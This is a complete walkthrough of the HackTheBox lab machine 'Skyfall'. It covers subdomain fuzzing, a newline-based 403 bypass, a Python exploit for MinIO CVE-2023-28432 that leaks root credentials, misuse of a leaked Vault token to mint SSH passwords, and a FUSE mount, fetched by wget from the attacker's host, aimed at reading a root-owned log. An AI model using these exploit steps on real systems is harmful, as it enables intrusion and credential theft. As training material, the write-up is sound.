Skyfall – HackTheBox Link to heading
- OS: Linux
- Difficulty: Insane
- Platform: HackTheBox
Summary Link to heading
Skyfall
is an “Insane” difficulty machine from HackTheBox
platform. The page is running a web server which has a subdomain that we can find by searching subdomains through vhosting
. The new page displays a sample service, which we are able to access as a guest user. Once inside, we are able to access a forbidden directory by injecting a null byte. Within this directory we find a MinIO
service vulnerable to CVE-2023-28432, which allows us to view credentials for HashiCorp Value
on an exposed endpoint. With this we are able to find keys for HashiCorp Value
and log in via SSH
as a user. Once inside, this user can run a program to open HashiCorp
values with sudo
. The program allows to create a debug
file in debug
mode. In order to read this debug file we create a small mount on the system via libfuse
(FUSE
), which allows us to read the debug
file and get credentials as root
.
User Link to heading
Nmap
scan shows only 2 ports open: 22
SSH
and 80
HTTP
β― sudo nmap -sVC -p22,80 10.10.11.254 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-19 18:31 -04
Nmap scan report for 10.10.11.254
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 65:70:f7:12:47:07:3a:88:8e:27:e9:cb:44:5d:10:fb (ECDSA)
|_ 256 74:48:33:07:b7:88:9d:32:0e:3b:ec:16:aa:b4:c8:fe (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Skyfall - Introducing Sky Storage!
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.12 seconds
Visiting http://10.10.11.254
shows a simple webpage:
I also note that we have some contacts with the domain skyfall.htb
. So I decide to add this domain to my /etc/hosts
file:
β― echo '10.10.11.254 skyfall.htb' | sudo tee -a /etc/hosts
10.10.11.254 skyfall.htb
The page does not show much info interesting besides that it says that it is a service that storages data.
At this point I decide to search for subdomains since we could a apply vhosting
. For this I use ffuf
:
β― ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://skyfall.htb/ -H 'Host: FUZZ.skyfall.htb' -fs 20631
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://skyfall.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.skyfall.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 20631
________________________________________________
demo [Status: 302, Size: 217, Words: 23, Lines: 1, Duration: 608ms]
:: Progress: [4989/4989] :: Job [1/1] :: 246 req/sec :: Duration: [0:00:20] :: Errors: 0 ::
where we find a new domain: demo.skyfall.htb
. So I add this domain to my /etc/hosts
file as well and now this file looks like:
β― cat /etc/hosts | tail -n 1
10.10.11.254 skyfall.htb demo.skyfall.htb
Visiting http://demo.skyfall.htb
shows a simple Sky Storage
Demo (the service described at the main webpage).
The site suggests that we can use the credentials guest:guest
. And we can log in this panel with those credentials. Once in, I can see a panel:
After attempting many things, at the left side we have the option MinIO Metrics
. Clicking on it redirects to http://demo.skyfall.htb/metrics
, but the site returns code 403 Forbidden
. I try to check if we can bypass it using some special characters using ffuf
. For this I extract my session cookie from the guest
session (in Firefox
is just Ctrl + Shift + I
, go to Storage
and extract the value from session
cookie) and run:
β― ffuf -w /usr/share/seclists/Fuzzing/URI-hex.txt:FUZZ -u http://demo.skyfall.htb/metricsFUZZ -b 'session=.eJw<SNIP>kM' -fc 403
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://demo.skyfall.htb/metricsFUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Fuzzing/URI-hex.txt
:: Header : Cookie: session=.eJw<SNIP>kM
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 403
________________________________________________
%0a [Status: 200, Size: 44883, Words: 4191, Lines: 9, Duration: 299ms]
:: Progress: [256/256] :: Job [1/1] :: 122 req/sec :: Duration: [0:00:02] :: Errors: 0 ::
where 'session=.eJwH<SNIP>kM'
is the (cut) cookie session extracted from guest
session.
Apparently, adding a null byte
bypasses and allow us to see this directory. If I visit http://demo.skyfall.htb/metrics%0a
from my browser it works and we can see its content:
So we are against a MinIO
service. Searching What is MinIO
, from its official webpage, we have:
MinIO
is a high-performance, S3 compatible object store. It is built for large scale AI/ML, data lake and database workloads. It is software-defined and runs on any cloud or on-premises infrastructure. MinIO is dual-licensed under open source GNU AGPL v3 and a commercial enterprise license.Apparently, the data service that was described in the main page works using MinIO
.
At the bottom of this page I also note another domain:
Therefore I add the domain prd23-s3-backend.skyfall.htb
to my /etc/hosts
file:
β― cat /etc/hosts | tail -n 1
10.10.11.254 skyfall.htb demo.skyfall.htb prd23-s3-backend.skyfall.htb
Searching for recent vulnerabilities for MinIO
we find the vulnerability CVE-2023-28432
as described in this Github repository. In summary, there are some environment variables leaked from an endpoint /minio/bootstrap/v1/verify
. We visit http://prd23-s3-backend.skyfall.htb/minio/bootstrap/v1/verify
and intercept the request with Burpsuite
, and change the method to POST
:
or in a simple Python
script that I have created:
#!/usr/bin/python3
import requests
import sys
def make_request(url: str)->None:
generic_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Dnt": "1",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none", "Sec-Fetch-User":
"?1", "Te": "trailers",
"Connection": "close",
"Content-Type": "application/x-www-form-urlencoded"}
print(f"[*] Making request to {url!r}")
r = requests.post(url, headers=generic_headers)
if r.status_code != 200:
print(f"[!] Invalid status code from response (HTTP code {r.status_code!r})")
sys.exit(1)
minio_root_user = r.json().get("MinioEnv", {}).get("MINIO_ROOT_USER")
minio_root_password = r.json().get("MinioEnv", {}).get("MINIO_ROOT_PASSWORD")
minio_secret_key = r.json().get("MinioEnv", {}).get("MINIO_ROOT_PASSWORD")
print(f"[+] MINIO_ROOT_USER: {minio_root_user}")
print(f"[+] MINIO_ROOT_PASSWORD: {minio_root_password}")
return
def main()->None:
url: str = "http://prd23-s3-backend.skyfall.htb:80/minio/bootstrap/v1/verify"
make_request(url)
if __name__ == "__main__":
main()
Running it we get some credentials:
β― python3 minio_leaked_data.py
[*] Making request to 'http://prd23-s3-backend.skyfall.htb:80/minio/bootstrap/v1/verify'
[+] MINIO_ROOT_USER: 5GrE1B2YGGyZzNHZaIww
[+] MINIO_ROOT_PASSWORD: GkpjkmiVmpFuL2d3oRx0
so we have a user and a password.
However, these credentials are for MinIO
service. We can download it from this page (downloading the mc
binary) or downloading it in console with wget
:
β― wget https://dl.min.io/client/mc/release/linux-amd64/mc
--2024-05-19 19:58:16-- https://dl.min.io/client/mc/release/linux-amd64/mc
Resolving dl.min.io (dl.min.io)... 178.128.69.202, 138.68.11.125
Connecting to dl.min.io (dl.min.io)|178.128.69.202|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 26771608 (26M) [application/octet-stream]
Saving to: βmcβ
mc 100%[=======================================================================================>] 25.53M 857KB/s in 30s
β― chmod +x ./mc
Checking the commands available:
β― ./mc -h
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ (q)uit/esc
NAME:
mc - MinIO Client for object storage and filesystems.
USAGE:
mc [FLAGS] COMMAND [COMMAND FLAGS | -h] [ARGUMENTS...]
COMMANDS:
alias manage server credentials in configuration file
admin manage MinIO servers
anonymous manage anonymous access to buckets and objects
batch manage batch jobs
cp copy objects
cat display object contents
diff list differences in object name, size, and date between two buckets
du summarize disk usage recursively
encrypt manage bucket encryption config
event manage object notifications
find search for objects
get get s3 object to local
head display first 'n' lines of an object
ilm manage bucket lifecycle
idp manage MinIO IDentity Provider server configuration
license license related commands
legalhold manage legal hold for object(s)
ls list buckets and objects
mb make a bucket
mv move objects
mirror synchronize object(s) to a remote site
od measure single stream upload and download
ping perform liveness check
pipe stream STDIN to an object
put upload an object to a bucket
quota manage bucket quota
rm remove object(s)
Searching for documentation for this binary we have that we have to run:
mc alias set <alias> <endpoint> <access-key> <secret-key>
where <alias>
is how we will name the connection, <endpoint>
is the url of the MinIO
service, <access-key>
access key or username, and <secret-key>
is the password or secret key.
Once added we can check all the resources running:
mc ls --recursive --versions <alias>
So, in my case, I will name the connection as leaked
. So I run:
β― ./mc alias set leaked http://prd23-s3-backend.skyfall.htb/ 5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0
mc: Configuration written to `/home/gunzf0x/.mc/config.json`. Please update your access credentials.
mc: Successfully created `/home/gunzf0x/.mc/share`.
mc: Initialized share uploads `/home/gunzf0x/.mc/share/uploads.json` file.
mc: Initialized share downloads `/home/gunzf0x/.mc/share/downloads.json` file.
Added `leaked` successfully.
and check its content:
β― ./mc ls --recursive --versions leaked
[2023-11-08 01:59:15 -03] 0B askyy/
[2023-11-08 02:35:28 -03] 48KiB STANDARD bba1fcc2-331d-41d4-845b-0887152f19ec v1 PUT askyy/Welcome.pdf
[2023-11-09 18:37:25 -03] 2.5KiB STANDARD 25835695-5e73-4c13-82f7-30fd2da2cf61 v3 PUT askyy/home_backup.tar.gz
[2023-11-09 18:37:09 -03] 2.6KiB STANDARD 2b75346d-2a47-4203-ab09-3c9f878466b8 v2 PUT askyy/home_backup.tar.gz
[2023-11-09 18:36:30 -03] 1.2MiB STANDARD 3c498578-8dfe-43b7-b679-32a3fe42018f v1 PUT askyy/home_backup.tar.gz
[2023-11-08 01:58:56 -03] 0B btanner/
[2023-11-08 02:35:36 -03] 48KiB STANDARD null v1 PUT btanner/Welcome.pdf
[2023-11-08 01:58:33 -03] 0B emoneypenny/
[2023-11-08 02:35:56 -03] 48KiB STANDARD null v1 PUT emoneypenny/Welcome.pdf
[2023-11-08 01:58:22 -03] 0B gmallory/
[2023-11-08 02:36:02 -03] 48KiB STANDARD null v1 PUT gmallory/Welcome.pdf
[2023-11-07 21:08:01 -03] 0B guest/
[2023-11-07 21:08:05 -03] 48KiB STANDARD null v1 PUT guest/Welcome.pdf
[2023-11-08 01:59:05 -03] 0B jbond/
[2023-11-08 02:35:45 -03] 48KiB STANDARD null v1 PUT jbond/Welcome.pdf
[2023-11-08 01:58:10 -03] 0B omansfield/
[2023-11-08 02:36:09 -03] 48KiB STANDARD null v1 PUT omansfield/Welcome.pdf
[2023-11-08 01:58:45 -03] 0B rsilva/
[2023-11-08 02:35:51 -03] 48KiB STANDARD null v1 PUT rsilva/Welcome.pdf
where I can see a backup file called at askyy/home_backup.tar
Now, we can copy files running:
mc cp <path-inside-alias> <outfile-name>
so I run:
β― ./mc cp --recursive leaked/askyy/home_backup.tar.gz ./home_backup.tar.gz
...b/askyy/home_backup.tar.gz: 2.48 KiB / 2.48 KiB ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ 1.97 KiB/s 1s
I extract these files, and check that we get some files:
β― cd home_backup.tar.gz
β― ls -la
total 12
drwxr-xr-x 2 gunzf0x gunzf0x 4096 May 19 20:19 .
drwxr-xr-x 3 gunzf0x gunzf0x 4096 May 19 20:20 ..
-rw-r--r-- 1 gunzf0x gunzf0x 2543 May 19 20:19 home_backup.tar.gz
β― tar -xzvf home_backup.tar.gz
./
./.profile
./.bashrc
./.ssh/
./.ssh/authorized_keys
./.sudo_as_admin_successful
./.bash_history
./.bash_logout
./.cache/
./.cache/motd.legal-displayed
β― ls -la
total 36
drwxr-x--- 4 gunzf0x gunzf0x 4096 Nov 9 2023 .
drwxr-xr-x 3 gunzf0x gunzf0x 4096 May 19 20:20 ..
-rw-r--r-- 1 gunzf0x gunzf0x 1 Nov 9 2023 .bash_history
-rw-r--r-- 1 gunzf0x gunzf0x 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 gunzf0x gunzf0x 3771 Nov 9 2023 .bashrc
drwx------ 2 gunzf0x gunzf0x 4096 Oct 9 2023 .cache
-rw-r--r-- 1 gunzf0x gunzf0x 2543 May 19 20:19 home_backup.tar.gz
-rw-r--r-- 1 gunzf0x gunzf0x 807 Jan 6 2022 .profile
drwx------ 2 gunzf0x gunzf0x 4096 Nov 9 2023 .ssh
-rw-r--r-- 1 gunzf0x gunzf0x 0 Oct 9 2023 .sudo_as_admin_successful
but got nothing interesting
At this dead point I remember that we had different versions for askyy/home_backup.tar.gz
. I assume that these are different “logs/tags” assigned when we make changes. One of the versions was 2b75346d-2a47-4203-ab09-3c9f878466b8
for the backup file. So I download specifically that version:
β― ./mc cp --vid 2b75346d-2a47-4203-ab09-3c9f878466b8 leaked/askyy/home_backup.tar.gz ./home_backup.tar.gz
...b/askyy/home_backup.tar.gz: 2.64 KiB / 2.64 KiB ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ 2.39 KiB/s 1s
and extract its content.
If I check the decompressed content it is similar as the previous decompressed file:
β― ls -la
total 36
drwxr-x--- 4 gunzf0x gunzf0x 4096 Nov 9 2023 .
drwxr-xr-x 5 gunzf0x gunzf0x 4096 May 19 18:21 ..
-rw-r--r-- 1 gunzf0x gunzf0x 1 Nov 9 2023 .bash_history
-rw-r--r-- 1 gunzf0x gunzf0x 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 gunzf0x gunzf0x 3953 Nov 9 2023 .bashrc
drwx------ 2 gunzf0x gunzf0x 4096 Oct 9 2023 .cache
-rw-r--r-- 1 gunzf0x gunzf0x 2705 May 19 20:27 home_backup.tar.gz
-rw-r--r-- 1 gunzf0x gunzf0x 807 Jan 6 2022 .profile
drwx------ 2 gunzf0x gunzf0x 4096 Nov 9 2023 .ssh
-rw-r--r-- 1 gunzf0x gunzf0x 0 Oct 9 2023 .sudo_as_admin_successful
but .bashrc
file is slightly different:
β― cat .bashrc
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples
<SNIP>
export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"
export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"
<SNIP>
so we have a VAULT_TOKEN
and another domain prd23-vault-internal.skyfall.htb
I add this new domain to my /etc/hosts
file, so now it looks like:
β― cat /etc/hosts | tail -n 1
10.10.11.254 skyfall.htb demo.skyfall.htb prd23-s3-backend.skyfall.htb prd23-vault-internal.skyfall.htb
Searching for this VAULT_TOKEN
variable, we find that it is used for HashiCorp Vault
:
HashiCorp Vault
is a powerful tool designed for securely managing secrets and protecting sensitive data. It is part of the HashiCorp suite of infrastructure management toolsWe download HashiCorp Vault
binary for Linux
with wget
:
β― wget https://releases.hashicorp.com/vault/1.16.2/vault_1.16.2_linux_amd64.zip
--2024-05-19 20:38:13-- https://releases.hashicorp.com/vault/1.16.2/vault_1.16.2_linux_amd64.zip
Resolving releases.hashicorp.com (releases.hashicorp.com)... 3.162.221.26, 3.162.221.105, 3.162.221.48, ...
Connecting to releases.hashicorp.com (releases.hashicorp.com)|3.162.221.26|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 143229555 (137M) [application/zip]
Saving to: βvault_1.16.2_linux_amd64.zipβ
vault_1.16.2_linux_amd64.zip 100%[=======================================================================================>] 136.59M 55.9MB/s in 2.4s
Export the values found:
β― export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"
β― export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"
β― export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb"
and run HashiCorp Vault
binary:
β― ./vault login
Token (will be hidden): hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE
WARNING! The VAULT_TOKEN environment variable is set! The value of this
variable will take precedence; if this is unwanted please unset VAULT_TOKEN or
update its value accordingly.
Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.
Key Value
--- -----
token hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE
token_accessor rByv1coOBC9ITZpzqbDtTUm8
token_duration 433388h16m12s
token_renewable true
token_policies ["default" "developers"]
identity_policies []
policies ["default" "developers"]
where, as a token, I just passed the value of the variable VAULT_TOKEN
found.
We can then enumerate the different roles:
β― ./vault token capabilities ssh/roles
list
β― ./vault list ssh/roles
Keys
----
admin_otp_key_role
dev_otp_key_role
If we try to log in with admin_otp_key_role
via SSH
this did not work:
β― ./vault ssh -role admin_otp_key_role -mode OTP -strict-host-key-checking=no askyy@10.10.11.254
failed to generate credential: failed to get credentials: Error making API request.
URL: PUT http://prd23-vault-internal.skyfall.htb/v1/ssh/creds/admin_otp_key_role
Code: 403. Errors:
* 1 error occurred:
* permission denied
but if we use dev_otp_key_role
key, we can log in via SSH
as askyy
user:
β― ./vault ssh -role dev_otp_key_role -mode OTP -strict-host-key-checking=no askyy@10.10.11.254
Warning: Permanently added '10.10.11.254' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-101-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
askyy@skyfall:~$ whoami
askyy
We can get the user flag at askyy
home directory.
Before continuing, let’s try to see the content of dev_otp_key_role
. We might (and will) need it for later if we need to connect via SSH
as askyy
user in multiple sessions.
Searching how to read key
files in HashiCorp Vault
we find this documentation explaining it. But following those instructions returns an error:
β― ./vault read ssh/creds/dev_otp_key_role
Error reading ssh/creds/dev_otp_key_role: Error making API request.
URL: GET http://prd23-vault-internal.skyfall.htb/v1/ssh/creds/dev_otp_key_role
Code: 405. Errors:
* 1 error occurred:
* unsupported operation
So we are not allowed to read it.
However, reading more I find that we are also able to generate new credentials based on this documentation. If we try to generate credentials, it asks for an IP address:
β― curl -s --request POST --header "X-Vault-Token: hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE" http://prd23-vault-internal.skyfall.htb/v1/ssh/creds/dev_otp_key_role
{"errors":["Missing ip"]}
If we pass as data the IP address of the victim machine, now it returns data for a user nobody
; a user that exists on /etc/passwd
file of the victim machine:
β― curl -s --request POST --header "X-Vault-Token: hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE" http://prd23-vault-internal.skyfall.htb/v1/ssh/creds/dev_otp_key_role -d '{"ip":"10.10.11.254"}' | jq
{
"request_id": "39d8264b-c279-7b86-3605-1933b7c455af",
"lease_id": "ssh/creds/dev_otp_key_role/Y7D1NrPXje3w6xRmGjygS3Fi",
"renewable": false,
"lease_duration": 2764800,
"data": {
"ip": "10.10.11.254",
"key": "1c3be6fe-dd3f-26cf-7a95-572aaae479e9",
"key_type": "otp",
"port": 22,
"username": "nobody"
},
"wrap_info": null,
"warnings": null,
"auth": null
}
I can see the field “username”, we can then try to request for the user askyy
(that we have already impersonated):
β― curl -s --request POST --header "X-Vault-Token: hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE" http://prd23-vault-internal.skyfall.htb/v1/ssh/creds/dev_otp_key_role -d '{"ip":"10.10.11.254", "username":"askyy"}' | jq
{
"request_id": "89eb700b-8467-0aea-6d4c-eaf51452fcd2",
"lease_id": "ssh/creds/dev_otp_key_role/QG1uenKuKgVECQszJHwfnZFH",
"renewable": false,
"lease_duration": 2764800,
"data": {
"ip": "10.10.11.254",
"key": "40bafb97-ebe2-c3c7-1a13-8f3cc1903a47",
"key_type": "otp",
"port": 22,
"username": "askyy"
},
"wrap_info": null,
"warnings": null,
"auth": null
}
where we have a key: 40bafb97-ebe2-c3c7-1a13-8f3cc1903a47
(this key will be different every time we run the command).
Finally, if we use this generated key as password to log in via SSH
as askyy
user this also works:
β― ssh -o stricthostkeychecking=no askyy@10.10.11.254
(askyy@10.10.11.254) Password: 40bafb97-ebe2-c3c7-1a13-8f3cc1903a47
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-101-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Sep 1 00:49:19 2024 from 10.10.16.3
askyy@skyfall:~$
Root Link to heading
Checking what commands we can run as sudo
we can run one command that does not require password:
askyy@skyfall:~$ sudo -l
Matching Defaults entries for askyy on skyfall:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User askyy may run the following commands on skyfall:
(ALL : ALL) NOPASSWD: /root/vault/vault-unseal ^-c /etc/vault-unseal.yaml -[vhd]+$
(ALL : ALL) NOPASSWD: /root/vault/vault-unseal -c /etc/vault-unseal.yaml
Checking the command options:
askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -h
Usage:
vault-unseal [OPTIONS]
Application Options:
-v, --verbose enable verbose output
-d, --debug enable debugging output to file (extra logging)
-c, --config=PATH path to configuration file
Help Options:
-h, --help Show this help message
Even if we cannot read that the script does, we can find Vault Unseal
Github repository that is, apparently, the same program running with sudo
. It is a program used to unseal values for Hashicorp Vault
.
When I entered in the account I checked if we had files interesting files:
askyy@skyfall:~$ ls -la
total 32
drwxr-x--- 4 askyy askyy 4096 Jan 22 14:46 .
drwxr-xr-x 3 root root 4096 Jan 19 21:33 ..
lrwxrwxrwx 1 askyy askyy 9 Nov 9 2023 .bash_history -> /dev/null
-rw-r--r-- 1 askyy askyy 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 askyy askyy 3771 Nov 9 2023 .bashrc
drwx------ 2 askyy askyy 4096 Oct 9 2023 .cache
-rw-r--r-- 1 askyy askyy 807 Jan 6 2022 .profile
drwx------ 2 askyy askyy 4096 Jan 18 10:32 .ssh
-rw-r----- 1 root askyy 33 May 19 22:17 user.txt
but after running the commands with sudo
, and providing -d
flag option, I note that a file called debug.log
was created, which is owned by root
:
askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd
[+] Reading: /etc/vault-unseal.yaml
[-] Security Risk!
[+] Found Vault node: http://prd23-vault-internal.skyfall.htb
[>] Check interval: 5s
[>] Max checks: 5
[>] Checking seal status
[+] Vault sealed: false
askyy@skyfall:~$ ls -la
total 36
drwxr-x--- 4 askyy askyy 4096 May 20 00:59 .
drwxr-xr-x 3 root root 4096 Jan 19 21:33 ..
lrwxrwxrwx 1 askyy askyy 9 Nov 9 2023 .bash_history -> /dev/null
-rw-r--r-- 1 askyy askyy 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 askyy askyy 3771 Nov 9 2023 .bashrc
drwx------ 2 askyy askyy 4096 Oct 9 2023 .cache
-rw-r--r-- 1 askyy askyy 807 Jan 6 2022 .profile
drwx------ 2 askyy askyy 4096 Jan 18 10:32 .ssh
-rw------- 1 root root 590 May 20 00:59 debug.log
-rw-r----- 1 root askyy 33 May 19 22:17 user.txt
However, I cannot read this file as was shown previously by the permissions:
askyy@skyfall:~$ cat debug.log
cat: debug.log: Permission denied
A way to attempt to read this file is to use libfuse
system:
libfuse
provides the reference implementation for communicating with the FUSE
kernel module. A FUSE
file system is typically implemented as a standalone application that links with libfuse
. libfuse
provides functions to mount the file system, unmount it, read requests from the kernel, and send responses back.For this we can check, for example, /etc/fuse.conf
file:
askyy@skyfall:~$ cat /etc/fuse.conf
# The file /etc/fuse.conf allows for the following parameters:
#
# user_allow_other - Using the allow_other mount option works fine as root, in
# order to have it work as user you need user_allow_other in /etc/fuse.conf as
# well. (This option allows users to use the allow_other option.) You need
# allow_other if you want users other than the owner to access a mounted fuse.
# This option must appear on a line by itself. There is no value, just the
# presence of the option.
user_allow_other
# mount_max = n - this option sets the maximum number of mounts.
# Currently (2014) it must be typed exactly as shown
# (with a single space before and after the equals sign).
#mount_max = 1000
where the option user_allow_other
is uncommented (which means it is enabled), allowing other users to write to our file system.
Now, we could look for many ways to use FUSE
, but one of the most “secure” ways is to use static binaries. For example, if we use a static binary built in C
or Go
, if it runs in our machine and does not have strong dependencies on libraries, it should run in our machine as well as in other Linux
machines like the victim target. We finally find go-fuse
(that can be downloaded from its Github repository). More specifically, if we go to example
folder and then we use memfs
it will allow us to create in-file memory file system.
For this, download the repository, go to its example/memfs
directory and build the binary:
β― git clone https://github.com/hanwen/go-fuse.git
Cloning into 'go-fuse'...
remote: Enumerating objects: 13206, done.
remote: Counting objects: 100% (3712/3712), done.
remote: Compressing objects: 100% (764/764), done.
remote: Total 13206 (delta 3186), reused 3000 (delta 2946), pack-reused 9494 (from 1)
Receiving objects: 100% (13206/13206), 3.92 MiB | 7.17 MiB/s, done.
Resolving deltas: 100% (8759/8759), done.
β― cd go-fuse/example/memfs
β― ls -la
total 12
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Aug 31 20:01 .
drwxrwxr-x 10 gunzf0x gunzf0x 4096 Aug 31 20:01 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 957 Aug 31 20:01 main.go
β― go build
go: downloading golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a
β― ls -la
total 3216
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Aug 31 20:01 .
drwxrwxr-x 10 gunzf0x gunzf0x 4096 Aug 31 20:01 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 957 Aug 31 20:01 main.go
-rwxrwxr-x 1 gunzf0x gunzf0x 3280265 Aug 31 20:01 memfs
Start a Python
HTTP
server on port 8080
:
β― ls -la && python3 -m http.server 8080
total 3216
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Aug 31 20:01 .
drwxrwxr-x 10 gunzf0x gunzf0x 4096 Aug 31 20:01 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 957 Aug 31 20:01 main.go
-rwxrwxr-x 1 gunzf0x gunzf0x 3280265 Aug 31 20:01 memfs
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
and download it on the victim machine with wget
:
askyy@skyfall:~$ wget http://10.10.16.3:8080/memfs -O /dev/shm/memfs
--2024-09-01 00:12:21-- http://10.10.16.3:8080/memfs
Connecting to 10.10.16.3:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3280265 (3.1M) [application/octet-stream]
Saving to: β/dev/shm/memfsβ
/dev/shm/memfs 100%[=======================================================================================>] 3.13M 722KB/s in 7.6s
askyy@skyfall:~$ chmod +x /dev/shm/memfs
And start a mount using the exported binary into the victim machine:
askyy@skyfall:~$ cd /dev/shm
askyy@skyfall:/dev/shm$ ./memfs
usage: main MOUNTPOINT BACKING-PREFIX
askyy@skyfall:/dev/shm$ mkdir output
askyy@skyfall:/dev/shm$ ./memfs output test
Mounted!
Now, log in in another SSH
session with the trick shows previously and run the command with sudo
:
askyy@skyfall:/dev/shm/output$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd
2024/09/01 01:04:22 open debug.log: permission denied
This is due to our current application (the compiled binary memfs
) is not allowing other users to write into our mount.
So we have to modify the code for memfs
to allow it. Before that, remember to unmount the temporal mount running fusermount
(remember to go out/exit from the directory output
in all the sessions we have, otherwise it will raise an error fusermount: failed to unmount /dev/shm/output: Device or resource busy
):
askyy@skyfall:/dev/shm$ fusermount -u output
If we read the source code main.go
from examples/memfs
from go-fuse
repository we can see:
// Copyright 2016 the Go-FUSE Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// Mounts MemNodeFs for testing purposes.
package main
import (
"flag"
"fmt"
"os"
"github.com/hanwen/go-fuse/v2/fuse"
